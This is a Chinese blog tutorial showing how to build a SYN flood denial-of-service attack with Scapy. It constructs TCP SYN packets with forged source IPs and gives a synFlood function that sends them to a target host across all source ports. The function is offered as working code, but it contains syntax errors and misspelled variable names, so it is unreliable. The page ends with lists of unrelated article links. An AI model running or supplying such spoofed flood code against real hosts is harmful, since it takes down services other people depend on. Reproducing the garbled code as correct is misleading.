Python项目 基于Scapy实现SYN泛洪攻击的方法


Posted in Python onJuly 23, 2019

python3版本的Scapy--Scapy3k来实现一个简单的DDos。

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:

sudo pip3 install scapy-python3

Python项目 基于Scapy实现SYN泛洪攻击的方法

现在学习一下scapy的使用方法:

sudo scapy(scapy发送数据包需要root权限)

Python项目 基于Scapy实现SYN泛洪攻击的方法

(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)

现在我们使用Scapy构造一个简单的数据包看一下:

pkt = IP(dst = "192.168.0.10")

Python项目 基于Scapy实现SYN泛洪攻击的方法

接下来我们就构造一个SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

Python项目 基于Scapy实现SYN泛洪攻击的方法

(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

代码实现:

具体代码如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。

以上这篇Python项目 基于Scapy实现SYN泛洪攻击的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python入门篇之字符串
Oct 17 Python
Python的subprocess模块总结
Nov 07 Python
Python中的两个内置模块介绍
Apr 05 Python
Django中的Signal代码详解
Feb 05 Python
python实现聊天小程序
Mar 13 Python
Python面向对象之反射/自省机制实例分析
Aug 24 Python
python批量下载网站马拉松照片的完整步骤
Dec 05 Python
django 简单实现登录验证给你
Nov 06 Python
浅谈在django中使用redirect重定向数据传输的问题
Mar 13 Python
Python第三方包之DingDingBot钉钉机器人
Apr 09 Python
Python使用xlrd实现读取合并单元格
Jul 09 Python
python 实现数据库中数据添加、查询与更新的示例代码
Dec 07 Python
Django logging配置及使用详解
Jul 23 #Python
Python利用scapy实现ARP欺骗的方法
Jul 23 #Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
You might like
Javascript学习笔记9 prototype封装继承
2010/01/11 Javascript
javascript下利用arguments实现string.format函数
2010/08/24 Javascript
拥抱模块化的JavaScript
2012/03/07 Javascript
为EasyUI的Tab标签添加右键菜单的方法
2012/07/14 Javascript
JQuery select控件的相关操作实现代码
2012/09/14 Javascript
JS字符串处理实例代码
2013/08/05 Javascript
使用js检测浏览器是否支持html5中的video标签的方法
2014/03/12 Javascript
jQuery对于显示和隐藏等常用状态的判断方法
2014/12/13 Javascript
使用jQuery调用XML实现无刷新即时聊天
2016/08/07 Javascript
基于JavaScript实现鼠标箭头移动图片跟着移动
2016/08/30 Javascript
总结AngularJS开发者最常犯的十个错误
2016/08/31 Javascript
最实用的jQuery分页插件
2016/10/09 Javascript
如何制作幻灯片(代码分享)
2017/01/06 Javascript
简单实现js无缝滚动效果
2017/02/05 Javascript
基于js文件加载优化(详解)
2018/01/03 Javascript
JS实现的小火箭发射动画效果示例
2018/12/08 Javascript
jQuery zTree插件使用简单教程
2019/08/16 jQuery
python解决字典中的值是列表问题的方法
2013/03/04 Python
Python实现网站文件的全备份和差异备份
2014/11/30 Python
Django 全局的static和templates的使用详解
2019/07/19 Python
Python 2种方法求某个范围内的所有素数(质数)
2020/01/31 Python
Python关于反射的实例代码分享
2020/02/20 Python
opencv python 对指针仪表读数识别的两种方式
2021/01/14 Python
HTML5中语义化 b 和 i 标签
2008/10/17 HTML / CSS
芭比波朗加拿大官方网站:Bobbi Brown Cosmetics CA
2020/11/05 全球购物
污水厂厂长岗位职责
2014/01/04 职场文书
《哪吒闹海》教学反思
2014/02/28 职场文书
高三学生评语大全
2014/04/25 职场文书
英语教师自荐信
2014/05/26 职场文书
倡导文明标语
2014/06/16 职场文书
行政求职信
2014/07/04 职场文书
党员组织生活会发言材料
2014/10/17 职场文书
年度考核表个人总结
2015/03/06 职场文书
妈妈再爱我一次观后感
2015/06/08 职场文书
2016应届大学生自荐信模板
2016/01/28 职场文书
给numpy.array增加维度的超简单方法
2021/06/02 Python